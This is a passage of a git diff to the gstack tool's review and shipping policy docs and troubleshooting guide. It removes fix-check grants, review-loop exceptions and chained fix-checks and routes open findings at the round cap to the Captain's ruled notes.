-fix commit carries its `Review-Finding:` trailer also closes once a later full
+A finding closes by a fix that a later full round or the read-only final review
+reads clean, a `Review-Finding` trailer, or the Captain's ruled note. Fix-checks
+and the grants that bought them are gone (GST-3562 part 4), and so is the
+`cleared_by_grant` closure; a receipt written before keeps the field.
+
+A finding whose fix commit carries its `Review-Finding:` trailer closes once a later full
round that finished and converged, bound to its committed tree and with that
commit inside its range (a pass 1's `range_base: null` is the whole PR), left
nothing open at all, by its status, its findings file or an inline finding
(`cleared_by_trailer`, #4597). A security finding's raw `path:line:category`
-fingerprint, with or without its line, never closes by grant or trailer, so no
-closure line puts its location in the PR body, and a fix-check row whose
-dispatch ledger can't be read closes nothing. finish counts the same
-stamped row, anchored on the grant's stop rather than the newest reviewed tree
-(#4612).
+fingerprint, with or without its line, never closes by trailer, so no closure
+line puts its location in the PR body.
<a id="one-grant-path"></a>
-**One grant path after a ruling at the cap (GST-3546).** Every fix-check grant is
-the same grant, whichever row records it:
-
-- **Either row works.** A `gstack-approvals round-grant --kind fix-check` row and
- an owner's `review_loop_grant <head>` approval row are both fix-check grants
- for `gstack-review-plan --grant`, `gstack-ship-receipt claim` and write. The
- older row names no PR, so it binds to the PR whose run claims it.
-- **A grant needs no stop record.** `round-grant --kind fix-check` with no
- `--stop-run` and no `--findings` buys one scoped fix-check of the change since
- `--head`, the reviewed head. Use it for a post-review edit (a Step 14.5 docs
- audit edit that #4708's one-reader packet doesn't take) or a ruling at the cap
- whose run recorded no stop (`STOP_UNBOUND`). The run's own claim stands in for
- the stop record: the grant, the claim and the fix-check's start must be
- recorded in that order.
-- **What it closes.** A grant that names findings closes those, as above. A
- grant with no findings list closes each open blocker the fix list given to
- its clean fix-check names. A blocker that no ruling, grant or fix list covers
- still refuses `RECEIPT_BLOCKER_OPEN`, so the Captain's ruling at the cap needs
- no hand-written per-finding rows, and nothing is closed that no reader read.
-- **gstack builds the packet.** Once a run has claimed a grant, `gstack-review-plan
- --fix-check-prompt` and the pass program build the reader's hunks from `git diff
- <the grant's head> HEAD` themselves (`FIX_CHECK_HUNKS:` says when a `--hunks`
- file differed and was not used), so the hunks record always covers the whole
- fix range.
-- **A grant spends only on a counted fix-check.** A malformed row
- (`converged:false`, or a claimed row whose hunks or tree don't bind) leaves the
- grant unspent: the same run logs a correct row. A counted read that found
- issues spends it like a clean one, so a grant still buys one fix round, and
- write reads the first counted row only.
-- **Only the lane or its Captain grants.** A row whose ask or scope mentions
- `review_loop_grant`, in any spelling or scope, recorded with `gstack-approvals
- add` inside this checkout's open /gstack-ship run is refused unless it relays their
- message with `--owner-ref` and `--words`, as `round-grant` already required.
-- **One read per grant.** Receipt write keeps every distinct read stamped with
- the grant (a copied row counts once) and takes the first that counts; a read
- whose dispatch ledger collected a finding counts as long as the row records
- that finding, open or not.
-- **Long reasons fit.** A `--reason` longer than the approval record's
- 300-character ask is cut there with an ellipsis; `--words` (the reason by
- default) keeps every word.
+**A ruling at the cap needs no grant.** The Captain rules a blocker a note with
+`gstack-approvals rule` ([ruled notes](ship-policy.md#ruled-notes)); a ruled
+note closes it for receipt write, and nothing is closed that no reader read.
+The grant path GST-3546 built (`round-grant --kind fix-check`, `review_loop_grant`
+rows, `claim`) was removed in GST-3562 part 4.
<a id="transitions"></a>
### Transitions
@@ -294,27 +236,16 @@ the same grant, whichever row records it:
| round 2 on a light diff whose below-floor fixes change no runtime lines | done: notes in the PR body |
| a fix after that read-only review | stop: the lane's Captain rules it a note (one `gstack-approvals rule --finding edit:<path>` per edited path, which finish then routes as `RULED_EDIT`: [ruled edits](ship-policy.md#ruled-edits)), or the fix goes to a new /gstack-ship run's read-only full review |
| a full pass that leaves a blocking finding open (fixed or not) | stop: name it for the owner |
-| a fix-check (granted before GST-3562) that found nothing blocking | done |
-| a fix-check (granted before GST-3562) that found a blocking finding | stop: name it for the owner |
| a stop (any row above) on gate class before Step 11's voices ran | Step 11's voices (adversarial, outside, targeted), then ask again with `--adversarial-ran` |
-| the stop after a fix-check (granted before GST-3562) that was the run's only one, with the owner's recorded grant (`--grant <approval id>`) | one more scoped fix-check, after Step 11 on gate class, until a later release removes it; a grant after a round-2 full pass buys nothing, because the read-only full review replaces it |
-| a round-2 fix-check that stops the same way, with the owner's recorded grant and `--fix-checks 1` | one scoped fix-check (round 3), after Step 11 on gate class |
-| `--post-review` after a fix-check whose later edits are only release stamps and docs (`docsChangeSince`) | done, or the one targeted reader when a docs claim on a targeted-class diff needs it |
-| `--post-review` after a fix-check (edits after the review bound), with a new recorded grant at a stop head after the last fix-check's commit | one scoped fix-check, the next link of the fix-check chain, after Step 11 on gate class |
-| a fix-check that stops in the loop, with a new recorded grant naming its own commit (`--range-base`, the stop it answers), after any number of fix-checks | one scoped fix-check, the next link of the fix-check chain, after Step 11 on gate class |
-
-GST-3562 A retires the fix-check: `nextStep` plans none, and the rows that name
-one serve grants recorded before it, for one release. Its 3,932,160-case replay
-against main's table is `test/fixtures/review-pins/replays/GST-3562-A.json`.
-A **fix-check** is one reviewer reading the touched hunks, the fix list, the
-test results and the callers of every changed symbol, at full effort. It is
-logged as a `review-fix-check` row, so it never counts as a pass. No army, no
-Red Team and no outside voice run on it.
+
+GST-3562 A retired the fix-check (`nextStep` plans none; its 3,932,160-case replay
+against main's table is `test/fixtures/review-pins/replays/GST-3562-A.json`), and
+GST-3562 part 4 removed the grants that still planned one.
`NEXT: voices` runs Step 11 as `done` does, from the last full pass's
manifest; /gstack-ship then asks the plan again with `--adversarial-ran` (a blocking
finding the voices queued counts as `--blocking-open`, never a new Step 9), and
-the stop or the granted fix-check it names stands.
+the stop it names stands.
<a id="scoped-pass"></a>
The **scoped pass is retired** (GST-3562 part 3, 2026-11-24): every round 2 is a
@@ -356,7 +287,7 @@ stop goes to the owner as before. Every other stop still stops.
| Class | Qualifies when | What happens next |
|---|---|---|
-| `scoped-fix-check` | Round 2 stops for a fix whose range since round 2's `PASS_HEAD` is docs class only, or only raises timeout values. `--range-base` must be the commit the newest review-log pass row read. One per branch: the ledger keeps every record, so a later /gstack-ship on the branch stops for the owner. | It records the standing grant in the approval record (`by: gstack no-stop default (K1)`) and prints `GRANT:`. `gstack-review-plan --grant` plans the one scoped fix-check. A blocking finding there goes to the owner. |
+| `scoped-fix-check` | Removed with fix-check grants (GST-3562 part 4). | `record` refuses it (exit 3): a stop after round 2 goes to the lane's Captain, who ships it with notes or parks it. |
| `test-timeout-fix` | Every changed line is in a test file and only raises a timeout value: the value of a timeout key (`timeout: 5_000`, `setDefaultTimeout(5_000)`, `--timeout=5000`) or bun's and jest's trailing per-test argument, only on the line that opens the test call itself (`test('…', () => {…}, 30_000);`, likewise `it(` and `describe(`). A multi-line test's closing `}, 30_000);` does not qualify and stops for the owner. A line with `expect`, `assert` or a comparison never qualifies. | The gate scan's relaxation finding takes the printed `GATE_DISPOSITION: kept` reason instead of `open`. |
| `pregate-flake-rerun` | One rerun of a failed pregate case at the same tree (CREW rule 16). One per branch. | Green counts as flaky. Red again is a real failure. |
| `autoplan-regate` | An edit to the plan file made after the owner's answer, or after the revise that took their changes, while the reviewed plan itself is unchanged. The edit only adds lines, all inside the plan's `## ELI5` section (an added `## ELI5` heading opens one), and no added line holds a number or a word for spend, cost, budget, price, cap, credits, limit, max, arm, model, judge, verdict, threshold, bar, trial, sample, stop rule, paid or eval. A removed or reworded line, or a line added anywhere else, goes to the owner. The carry exports the reviewed plan, so the added explanation is never built. | `gstack-autoplan` carries the owner's words (`reason=no-stop autoplan-regate: …`) and writes `<run>/no-stop.json`. `gstack-no-stop import` adds it to the branch's ledger. |
@@ -418,9 +349,6 @@ lane knows the diff has, `gstack-review-plan --declare-risk <classes>` adds it:
detected classes, only raises the depth, and prints `RISK_DECLARED: classes=<declared> detected=<found>`.
The outside voice reads its diff from a file the brief names with its sha256; past
2,000,000 bytes it reads a path-scoped slice whose brief lists the files left out.
-For a grant recorded before GST-3562 only (deprecated), `--fix-checks <n>` tells the loop how many fix-checks ran, so the grant
-adds one fix-check after the first and never a second, in the lean loop and after
-a round-2 fix-check in the full loop (GEVA-223).
**Classes** are unchanged. A mixed diff takes its most restrictive class: **docs**
(markdown no agent or gate reads), **tests** (test files and fixtures), **code**
@@ -771,32 +699,18 @@ restamp gets the one reader (GST-1689).
The reader reads the whole merge-base diff at HEAD, like every targeted
reader. It isn't scoped to the docs change, because `render` reads no other
base and a record that names HEAD is the one `write` binds. It is read-only
-and applies no fix, so it isn't a review round under R51 and needs no grant.
-A `--grant` is still checked against the approval record first, and a row
-that isn't there refuses (exit 3). `gstack-review-dispatch pass` builds the
+and applies no fix, so it isn't a review round under R51. `gstack-review-dispatch pass` builds the
manifest: the one reader in the voices stage, with the `TARGETED_DELTA` line
among its plan lines. After `verify --targeted-out`, pass the new
`targeted_patch_id` and the plan is `done`.
Every other case stays `done` and prints `SKIP: targeted-only read
-(<reason>)`. That covers a code or binary change with no `--grant` (the granted
-case is below), which takes the review loop as before; plain docs and release stamps, which the record carries; a range_base the
+(<reason>)`, or refuses (`review_required_no_readers`) until the step names its fix. That covers a code or binary change, which takes the review loop as before; plain docs and release stamps, which the record carries; a range_base the
`--targeted-ran` patch doesn't match; and uncommitted edits. `--force
targeted` refuses (exit 2) and names these flags, because the targeted reader
is no specialist (`lib/review-targeted-delta.ts`,
`test/review-plan-targeted-delta.test.ts`).
-A fix round the owner granted past the cap has the same problem in code
-(harness-evals #271, GST-1607). The granted round's fix moves the product
-patch the targeted record names, so the receipt asks for a fresh read once
-the loop is done. With that grant passed as `--grant` (checked as above:
-an approved `review_loop_grant` row naming a stop head inside
-range_base..HEAD), any change since the read except plain docs plans the
-same `NEXT: targeted`, and the reason names the grant. A head with no
-targeted class adds no reader, and the same change with no grant keeps
-`done` (`test/review-plan-granted-targeted.test.ts`). The Capy pass program
-runs a targeted manifest's voices stage, so this one reader runs there too.
-
<a id="review-exclude-paths"></a>
## What readers read under `review_exclude_paths`
@@ -938,42 +852,10 @@ class the lane added shows apart from what the matchers found) and the queue ref
(capy-ai[bot]'s review id, reviewer and head); write and the queue accept it only under
`review.platform on`, on a docs or tests diff with no numeric, results or prereg claims,
with the review at that exact head, so a new head needs `/gstack-ship` again. A stop the owner
-accepted after a fix-check edit (deprecated with fix-check grants; removed next release), or after the second full pass with a finding
-left open (`second_pass`), goes in `review_loop_exception`, never in prose
-under `REVIEW_LOOP:`. Step 16 takes the same record:
-`gstack-ship-release finish --review-loop-exception <json|@file>` routes the
-paths the branch touched at `fix_check.head` (narrowed to the record's
-`fix_check.files` when it lists them) and changed since as `accepted=` in
-`ROUTE:`, prints them on a `REVIEW_LOOP_EXCEPTION:` line, and carries them
-through the docs stage. A path outside that scope and a gate-edited test still
-route as behavior, with `--reviewed-base` (as /gstack-ship passes it) so does a file
-too large for the scoped review, and without the record nothing changes.
-
-A completed fix-check is a review, not an owner acceptance (GST-1130). Finish
-reads the newest `review-fix-check` row from `gstack-review-read`, chained back
-through earlier rows whose commit is the next row's `range_base`
-([chained fix-checks](ship-policy.md#fix-check-chain), GST-1627). When every link
-is a completed clean read on committed content (freshness `CURRENT` against its own
-tree; a fix-check that stopped on findings the owner has since ruled notes reads
-clean, [ruled notes](ship-policy.md#ruled-notes)) whose commit is on the branch, the oldest link's `range_base` is a branch commit
-holding the reviewed tree (or following its commit by docs and release metadata
-only, [docs bridge](ship-policy.md#fix-check-docs-bridge)), and for each link an approved `review_loop_grant` in
-`gstack-approvals` names a stop head inside its `range_base..commit`, each code or test path inside a link's `range_base..commit`
-that is unchanged since, or whose change against the base is still the one the
-fix-check read after a base merge also edited it (GST-1195), routes as
-`fix_checked=` in `ROUTE:` and is listed on a
-`FIX_CHECK: reviewed` line, a gate-edited test included. The line names the
-grant whose stop head is newest in that range, the fix-check's own when several
-grants fall inside it (GST-1610). A `fix_checked` path the Step 14.5 audit
-hashed also doesn't stale that audit at stage 3: `DOCS: fresh` counts it as
-`fix_checked=<n>` in its carried list, since a clean fix-check read its current
-bytes and the path is unchanged since that read (GST-3560). Authored docs keep the
-stage 2.2 recheck, and a path the branch edited after the fix-check still routes by the
-rules above. Any other row prints
-`FIX_CHECK: not counted (<reason>)` and changes nothing. `gstack-review-log`
-refuses a `review-fix-check` row without boolean `completed` and `converged`,
-before it consumes the start token, because without them the row reads
-`UNVERIFIED` and finish cannot count it.
+accepts ships as a [ruled note](ship-policy.md#ruled-notes), never in prose under
+`REVIEW_LOOP:`; the review-loop exception and finish's fix-check counting
+(`FIX_CHECK:`, `fix_checked=`, `REVIEW_LOOP_EXCEPTION:`) were removed with fix-check
+grants in GST-3562 part 4.
<a id="bounded-post-review-edits"></a>
### Bounded post-review edits (GST-1276, GST-1311)
diff --git a/docs/ship-policy.md b/docs/ship-policy.md
index c2225d589..b2a84db46 100644
--- a/docs/ship-policy.md
+++ b/docs/ship-policy.md
@@ -1409,25 +1409,11 @@ checked-out HEAD, when the receipt records `gstack_version` without
`class` one of the four no-stop defaults. /gstack-ship passes the branch's
`gstack-no-stop` ledger here ([review-policy.md#no-stop](review-policy.md#no-stop)).
-**`review_loop_exception`.** Deprecated with fix-check grants (GST-3562 A; write
-still takes one for a stop before it, and the next release removes it). The owner's acceptance of a stop after a
-fix-check edit under frozen scope (#3559), from `write --review-loop-exception
-<json|@file>`: `{ accepted_by, date, via, reason, fix_check: { head, findings[, files] } }`.
-It needs `--review-loop` with `fix_checks` of 1 or more, a `fix_check.head`
-that is the receipt head or its ancestor, and, with `--body`, the line
-`Review-loop exception: accepted by <owner> <date> via <ref>: <reason> (fix-check at <sha12>, <n> findings)`
-word for word. A stop after the second full pass that left a finding open
-(TRUT-7) takes `second_pass: { head, deferred: [<finding id>] }` in place of
-`fix_check`, with `--review-loop` counting 2 or more passes and 1 or more
-deferred, and the line ends `(second full pass at <sha12>, deferred <ids>)`;
-finish does not take it, since it accepts an open finding, not edits. Otherwise
-[`REVIEW_LOOP_EXCEPTION_INVALID`](troubleshooting.md#review-loop-exception-invalid)
-and nothing is written. The queue checks both owner exceptions the same way
-before READY and train build: the record must parse, the body must still
-carry its line, and the exception's head (the fix-check's or the second
-pass's) must be the bound head or its ancestor (after a carry across rewritten
-history the old commit is off the branch, so that check is skipped), or the receipt is
-[`QUEUE_RECEIPT_EXCEPTION_INVALID`](troubleshooting.md#queue-receipt-exception-invalid).
+**`review_loop_exception`.** Removed in GST-3562 part 4. `write --review-loop-exception`
+refuses with [`REVIEW_LOOP_EXCEPTION_INVALID`](troubleshooting.md#review-loop-exception-invalid)
+and writes nothing: an open finding at the round cap ships only as a
+[ruled note](#ruled-notes). A receipt written before that still records one no
+longer stands: carry and the queue refuse it, so run /gstack-ship again.
**Prose against the receipt.** `gstack-ship-receipt read --pr <n> --check-prose`
(or `--body <file>`) compares every counter the body quotes with the receipt's
@@ -1809,38 +1795,35 @@ construction:
failed review.
3. **Two rounds is the cap** (R51), stepped by the
[transition table](review-policy.md#transitions); a full pass counts as a
- round, and /gstack-ship plans neither a fix-check nor a [scoped pass](review-policy.md#scoped-pass): any code change
- after round 1 gets a full round 2, with no exception (GST-3562 A and part 3). A pass that applied no edits
+ round, and every round 2 is a full pass on the range: any code change after
+ round 1 gets one, with no exception (GST-3562 A and part 3). A pass that applied no edits
continues to Step 10: the loop ships with its deferred and noted items named in
the PR body. A blocking finding still open after the last allowed step stops
the run and names the finding (path, severity, problem) for the lane's Captain
instead of a third round: the PR ships with its open notes or the Captain rules. A fix applied in the last allowed round gets one read-only
full review of the final head with no fix round (GST-3562 A); a fix after it
- stops for the Captain. Fix-check and round grants are deprecated: one recorded
- before GST-3562 still answers its stop for one release, and the next release
- removes them.
+ stops for the Captain. There are no fix-check or round grants (GST-3562 part 4).
<a id="what-ends-a-run"></a>
**What ends a /gstack-ship run (GST-3260).** Preflight opens the run in the checkout's
run record (`git rev-parse --git-path gstack-ship-run`), and while it is open a
-full preflight, round grants, gate dispositions, lane exceptions and rulings
+full preflight, gate dispositions, lane exceptions and rulings
without `--owner-ref` stop. Only gstack's commands end it: `finish` removes the
record (only when the open PR's body names that run), `gstack-ship-receipt stop`
-marks it stopped (it may then record the fix-check grant for its own stop, once
-per run, and a new run's preflight replaces it), `gstack-skill-end` marks it finished on any
+marks it stopped (a new run's preflight replaces it), `gstack-skill-end` marks it finished on any
outcome, and `gstack-ship-run abandon` ends a run that stopped working, never
within 60 minutes of its last beat unless the harness process it ran under is
provably gone (GST-3546). No timer ends a run. A bare marker from an
older gstack reads as `legacy` and an unreadable record as `unreadable`; both
block until abandoned. The record guards against mistakes, such as a base merge
-under a run's readers or a run granting itself a round; it is not proof of who
+under a run's readers; it is not proof of who
the owner is.
<a id="ruled-notes"></a>
**Ruled notes (GST-1537).** R51's other answer to an open finding is the owner's
ruling that it ships as a disclosed note, with the note listed. The owner records
each ruling, one finding per row, through the approval record, outside the lane's
-/gstack-ship run, naming the stop head it ruled at (the commit a `review_loop_grant` names):
+/gstack-ship run, naming the stop head it ruled at:
```bash
gstack-approvals rule --finding '<the finding's fingerprint>' --head <stop head> \
@@ -1866,32 +1849,15 @@ message; without it the refusal is `APPROVAL_RULING_RUN_OPEN`. `add` refuses a
ruling: `ruled`, `action: "ruled"` or any other claim the lane writes on its own
row is ignored. Step 16's `finish` reads the branch's rulings
(`lib/ruled-notes.ts`) and prints each as `RULED_NOTE: <fingerprint> at <head12>
-ruled by <who> at <time>: <reason> (approval <id>)`. A ruling closes a finding on
-a `review-fix-check` row finish counts (the newest, or an earlier link of its
-[chain](#fix-check-chain); action `open`, `skipped`, `noted` or `deferred`, not a
-gate finding) when its head lies inside that row's `range_base..commit`, the same
-test a `review_loop_grant` passes. So the order of ruling and fix-check doesn't
-matter, and a ruling made at an earlier /gstack-ship's head closes nothing: its
-`RULED_NOTE:` line ends `(outside this fix-check's range; not applied)`. A granted
-fix-check whose other findings are all below the floor then reads CURRENT and
-counts. That includes the usual order, where the fix-check finds a new CRITICAL,
-logs it `open` with `converged:false` and stops for the owner, and the owner rules
-afterwards: the row's `incomplete` binding still names the one tree it read, so
-once every blocking finding on it is ruled it binds at that tree as a clean read
-(harness-evals#361, GST-2251). A blocking finding the row records `fixed` or
-`auto-fixed` needs no ruling, since a fixed finding cannot be ruled and already
-reads resolved (gbrain#10036, GST-3501). A CRITICAL with no ruling stays open, and while one
-does, finish prints `FIX_CHECK_OPEN: <fingerprints> on the fix-check at <commit12>`
-naming the `gstack-approvals rule` command for each
-([troubleshooting](troubleshooting.md#fix-check-open)). On any stopped review row,
-the final review and the native reader included, `gstack-review-read` names them
-too: its UNVERIFIED reason ends `N finding(s) still need an owner ruling at this
-head: <fingerprint> (<severity>, <action>); …`, ten names at most. A `noted` or
-`deferred` CRITICAL is on that list, because neither action closes a CRITICAL,
-and a gate finding is listed with the `gate_id` its gate disposition needs, since a
-ruling never closes one (harness-evals#498, GST-3267). A review-loop exception is
-not a ruling: it accepts edits after a fix-check, never the fix-check's own
-findings. Nothing ruled is hidden:
+ruled by <who> at <time>: <reason> (approval <id>)`. A blocking finding a row records `fixed` or `auto-fixed` needs no ruling, since a
+fixed finding cannot be ruled and already reads resolved (gbrain#10036, GST-3501).
+On any stopped review row, the final review and the native reader included,
+`gstack-review-read` names the findings that still need one: its UNVERIFIED reason
+ends `N finding(s) still need an owner ruling at this head: <fingerprint>
+(<severity>, <action>); …`, ten names at most. A `noted` or `deferred` CRITICAL is on
+that list, because neither action closes a CRITICAL, and a gate finding is listed
+with the `gate_id` its gate disposition needs, since a ruling never closes one
+(harness-evals#498, GST-3267). Nothing ruled is hidden:
`gstack-approvals rulings` prints one `Ruled note: …` line per ruling for the
Pre-Landing Review and the PR body, `gstack-ship-receipt write` records them as
`ruled_notes` (each with its `head`) and refuses a `--body` that does not carry each
@@ -2268,69 +2234,12 @@ that doesn't carry each of those lines word for word.
STOP tells the lane to plan the inserted Step 9 with `gstack-review-plan
--post-review` (plus `--pass` and `--last` as the loop left
them). Edits after the review bound plan as a fix to a gate-class path, never
-as a note. The exception is a range after the last fix-check whose edits are
-only release stamps and docs (`docsChangeSince`): it plans `NEXT: done`, or
-`NEXT: targeted` for a docs claim on a targeted-class diff, with no grant
-([review-policy.md](review-policy.md#transitions), GST-1702). Below the round cap that's a pass on the range (a fix-check under
-the lean panel before GST-3562; a full pass on the range since). At the cap it gets
-one read-only full review of the whole PR diff (GST-3562 A), never `done`; any
-other edit after review costs the next round. The rest of this paragraph and the
-chain below serve only grants recorded before GST-3562 (deprecated, removed next
-release). When the last step was a
-fix-check, pass `--range-base` at that fix-check's commit: a new grant at a
-stop head after it plans the next link of the chain below (GST-1676), and the
-last link's own grant is refused. So `finish` never asks for a step the
-planner refuses. In the loop, a fix-check that stops is answered the same way:
-a new grant naming that fix-check's commit (`--range-base`, the stop it
-answers) plans one more fix-check, the next link of the chain, however many
-fix-checks ran before (GST-1681, GEVA-363's third round). The previous link's
-grant is refused: it names an earlier stop head, or it was recorded before a
-later logged fix-check (a post-review link's grant names the commit its
-fix-check read). A grant at any other commit plans nothing: one grant, one link.
-
-<a id="fix-check-chain"></a>**Chained fix-checks (GST-1627).** A second granted
-fix-check after the first one (a merge resolution, say) logs its row with
-`range_base` at the first fix-check's commit. finish used to read only the newest
-row and refuse any range that didn't start at the reviewed tree, so the later
-fix-check unbound the earlier one and lanes logged a synthetic combined row
-(#4063: fc3 at 265d868, then fc4 over the merge). finish now walks back from the
-newest row: while a row's `range_base` doesn't hold the reviewed tree, the link
-before it is the newest earlier row whose commit is that `range_base`. The chain
-counts only when it reaches a row whose `range_base` holds the reviewed tree,
-every link is a committed read with its own approved `review_loop_grant`, and
-the newest link is clean. An earlier link that found issues (logged
-`converged:false`, as review-army.md requires) still links when it finished its
-read bound to its own commit, its findings account for its counts, and every
-open or blocking finding names a file it read (GBRA-386, GST-1973): it counts
-no path itself, a path its findings name counts only through a clean link
-after it, and the line marks it `(found issues)`. A link's grant may name any
-stop head inside its `range_base..commit`, its own commit included: the post-review flow grants
-each fix-check at the commit it reads, so link 1's stop head is link 2's
-`range_base` (founderstar#634, GST-1676). Grants are assigned newest link
-first and a grant counts for one link only, so one grant never covers two
-fix-checks: a lone grant naming that boundary goes to the newer link and leaves
-the older one ungranted. A path counts as `fix_checked` when some clean link's
-range touched it and it is unchanged since that link (or its patch against the
-base is still the one that link read). The line reads `FIX_CHECK: reviewed <paths>
-(fix-check chain of <n> from <range_base12>: at <commit12> grant <id>; …)`. A
-`range_base` no earlier row ends at is a gap and refuses with the single-row
-reason (`range_base <sha12> does not hold the reviewed tree`); a link that is
-stale or ungranted refuses with its reason and `; fix-check at <sha12>, link <k>
-of <n>`. Either way nothing in the chain counts.
-
-<a id="fix-check-docs-bridge"></a>One gap is not a gap: the oldest link's `range_base` may follow the reviewed
-tree's commit by commits that change only authored docs or release metadata,
-such as the Step 14.5 docs commit (harness-evals#361, GST-2294). finish walks
-`range_base`'s first parents back to the nearest commit holding the reviewed tree
-and accepts the range when every commit after it is a single-parent commit whose
-every path it routes as docs or release metadata, printing
-`FIX_CHECK_DOCS_BRIDGE: range_base <sha12> follows the reviewed commit <sha12> by
-docs or release metadata only (<commits>)`. Those docs still take the docs route
-and its recheck. A code or test commit in between, a merge, a `range_base` the
-reviewed commit descends from, and a `range_base` on another branch still refuse.
-Pass `--reviewed-tree` as the tree the bound review read, never the fix-check's
-own tree: with the fix-check's tree, `range_base` sits before the "reviewed"
-commit and finish refuses (#4267, #4270).
+as a note. Below the round cap that's a full pass on the range. At the cap it
+gets one read-only full review of the whole PR diff (GST-3562 A), never `done`;
+any other edit after review costs the next round.
+
+<a id="fix-check-chain"></a><a id="fix-check-docs-bridge"></a>**Chained fix-checks** (GST-1627) and
+their docs bridge were removed with fix-checks and their grants in GST-3562 part 4.
<a id="test-code"></a>
<a id="uid-sidecar"></a>
@@ -2370,8 +2279,7 @@ reader, when all of these hold:
and at the current base, since a changed UID re-identifies the script for
every `uid://` reference to it;
- its sibling (the path without `.uid`) is a regular file now, and one the
- reviewed range added or modified (present at the reviewed tree), or one the
- review-loop exception (`finish --review-loop-exception`) accepted; a sibling that is declared `test_code` follows the same rule;
+ reviewed range added or modified (present at the reviewed tree); a sibling that is declared `test_code` follows the same rule;
- it is a regular, non-executable file (mode `100644`, never a symlink) whose
whole content is `uid://<id>` with an optional trailing `\n`: the id
canonical (no leading `a` digit unless it is `a`), at most 13 digits and at
@@ -2470,7 +2378,7 @@ base. finish takes it when the branch contains it and a base commit holds its
change outside release metadata and changelog fragments (a release folds every
fragment on the base), found as the carry finds a landed parent, and
prints `REVIEWED_BASE: stack parent <sha12> landed on origin/<base> at <sha12>`.
-The route, a granted fix-check's sides, the scoped-review packet and the docs
+The route, the scoped-review packet and the docs
carry then compare each commit's patch from that parent, so the parent's and the
base's edits route as `base=`. The route also reads every path the branch ships
against the base, changed since review or not, and judges every shipped path's
@@ -3029,7 +2937,7 @@ body plain: they become main's history.
the green run for your head when the merge commit's parents are a commit on
main and then your pushed head, and your pull request's own added and
removed lines in that merge are byte-identical to your head's, at the same
- places (the zero-context patch-id and hunk positions `lib/review-round-grant.ts`
+ places (the zero-context patch-id and hunk positions `lib/own-lines.ts`
`ownLinesSame` compares for a base-only merge of a reviewed head). Main may
have changed other files, or other parts of the files you changed, but no
line you changed and none next to one. The `CI_CARRY:` receipt
diff --git a/docs/troubleshooting.md b/docs/troubleshooting.md
index d0ab63865..ddcdd064b 100644
--- a/docs/troubleshooting.md
+++ b/docs/troubleshooting.md
@@ -2054,8 +2054,7 @@ consumed. A run that provably ended stops deferring at once
harness it ran under has exited or the machine restarted, or its own run
record in its checkout finished or was abandoned (the record belongs to the
newest ledger on that checkout created before it opened). A
-stopped run keeps deferring, since it may still claim its fix-check grant and
-resume, and so does an open run on Capy's shared harness; end a run that
+stopped run keeps deferring, since it may still resume, and so does an open run on Capy's shared harness; end a run that
stopped working with `gstack-ship-run abandon`.
**Fix.** Wait for those sessions to finish (`bin/gstack-lease list` shows
@@ -2278,7 +2277,7 @@ holds an open /gstack-ship run, and for `lane-exception` a `--files` list that i
empty or holds whitespace. `add` refuses a `ruled_note` or
`test_lane_exception` scope ([ruled notes](ship-policy.md#ruled-notes),
[test-lane exceptions](ship-policy.md#test-lane-exceptions)).
-`rule` and `round-grant` refuse an `--owner-ref` that is not
+`rule` refuses an `--owner-ref` that is not
`<thread code>:<message id or timestamp>`, where the thread code looks like
`GSTA-36` (an uppercase letter, then uppercase letters or digits, a dash and a
number from 1), and an `--owner-ref` given without `--words` (for `rule`, also
@@ -2319,8 +2318,8 @@ before #4402, `<branch>-YYYYMMDD-HHMMSS` with a real calendar date and time;
a phone number in
the rest of the directory name, the same id anywhere else, and every other
finding in the row still refuse.
-Likewise a `pii.phone.e164` finding that starts inside the `stop=` run id of a
-fix-check round grant's scope (`review_round_grant <sha> pr=<n> kind=fix-check
+Likewise a `pii.phone.e164` finding that starts inside the `stop=` run id of an
+older fix-check round grant's scope (a row recorded before GST-3562 part 4 still renders) (`review_round_grant <sha> pr=<n> kind=fix-check
stop=507-7192673 findings=…`) is skipped (GST-3246); the same digits in the
reason, the words or any other field still refuse.
@@ -3414,9 +3413,7 @@ prints where they are and runs no `gh issue create`.
cannot reach goes to whoever owns the work. Use `pr-body` and
`pr-title` with Capy's `tools.pr.edit`, `pr-comment` and `reply` with `tools.pr.comment`, `pr-create`
with `tools.pr.create`. Capy has no GitHub issue tool, so an `issue-create` or an `issue-comment` on an
-issue goes to whoever owns the work. Never run the `gh` write yourself. `claim` cannot read its own
-marker back before you publish, so a second run that claims the same grant is caught by the next
-`gstack-ship-receipt history` instead (`PR_REVIEW_GRANT: not applied`).
+issue goes to whoever owns the work. Never run the `gh` write yourself.
<a id="gstack-post-pr-body-merge"></a>
### `gstack-post pr-body` kept sections the body file did not contain
@@ -3805,7 +3802,7 @@ review that failed a Godot UID sidecar proof, so it keeps its old route,
usually behavior ([ship-policy.md#uid-sidecar](ship-policy.md#uid-sidecar)).
The reason names the failed proof: `needs --reviewed-base`, `could not be
compared with the reviewed range`, `has no sibling <path> that the reviewed
-range added or modified or the review-loop exception accepted`, `has no
+range added or modified`, `has no
sibling <path> at the current tree`, `existed at the reviewed tree or the
current base`, `is not a regular non-executable file (mode <mode>)`, `is not
exactly one Godot uid://<id> line`, `shares its UID with <paths>`, `could not
@@ -7353,19 +7350,15 @@ Never edit `review_depth` by hand ([review-policy.md](review-policy.md#review-de
<a id="queue-receipt-exception-invalid"></a>
### `QUEUE_RECEIPT_EXCEPTION_INVALID`
-**Meaning.** The receipt records an owner exception (`docs.exception` or
-`review_loop_exception`) that the queue cannot accept: the record does not
-parse, a review-loop exception accepts a stop the review loop does not show (a
-`fix_check` with `review_loop.fix_checks` 0 or missing, or a `second_pass`
-with fewer than two passes or no deferred finding), its head (`fix_check.head`
-or `second_pass.head`) is neither the bound head nor an
-ancestor of it (not checked after a carry across rewritten history), or the PR
-body no longer carries the exception's line word for word
-(`Documentation exception: …` or `Review-loop exception: …`).
+**Meaning.** The receipt records a documentation exception (`docs.exception`) that
+the queue cannot accept: the record does not parse, or the PR body no longer
+carries its `Documentation exception: …` line word for word, or the receipt still
+records a review-loop exception, which GST-3562 part 4 removed: run /gstack-ship
+again for a fresh receipt.
**Fix.** Restore the line in the PR body exactly as `write` printed it, or run
-/gstack-ship again and record the owner's acceptance with `--docs` or
-`--review-loop-exception` ([ship-policy.md](ship-policy.md#ship-receipt)).
+/gstack-ship again and record the owner's acceptance with `--docs`
+([ship-policy.md](ship-policy.md#ship-receipt)).
<a id="queue-receipt-targeted-missing"></a>
### `QUEUE_RECEIPT_TARGETED_MISSING`
@@ -7774,32 +7767,17 @@ through land. See [gate dispositions](ship-policy.md#gate-dispositions).
